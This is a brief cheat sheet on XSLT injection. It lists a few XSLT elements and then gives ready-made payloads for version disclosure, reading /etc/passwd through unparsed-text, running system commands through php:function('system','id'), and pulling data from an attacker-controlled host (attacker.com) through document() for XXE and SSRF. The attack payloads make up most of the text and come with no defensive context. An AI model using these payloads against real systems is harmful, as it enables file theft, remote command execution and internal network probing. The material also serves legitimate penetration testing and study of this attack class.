XSLT Injection

Common XSLT Elements:

• <xsl:template> → Defines an XSL template.

• <xsl:value-of> → Extracts XML values.

• <xsl:for-each> → Loops through XML nodes.

• <xsl:if> → Tests conditions.

XSLT Injection Payloads:

Information Disclosure:

<xsl:value-of select="system-property('xsl:version')" />

Local File Inclusion (LFI):

<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')" />

Remote Code Execution (RCE):

<xsl:value-of select="php:function('system','id')" />

Advanced XSLT Exploits:

• XXE via XSLT: Using document('http://attacker.com/payload.xml') to retrieve malicious data.

• Network SSRF via XSLT: Fetching internal/external resources.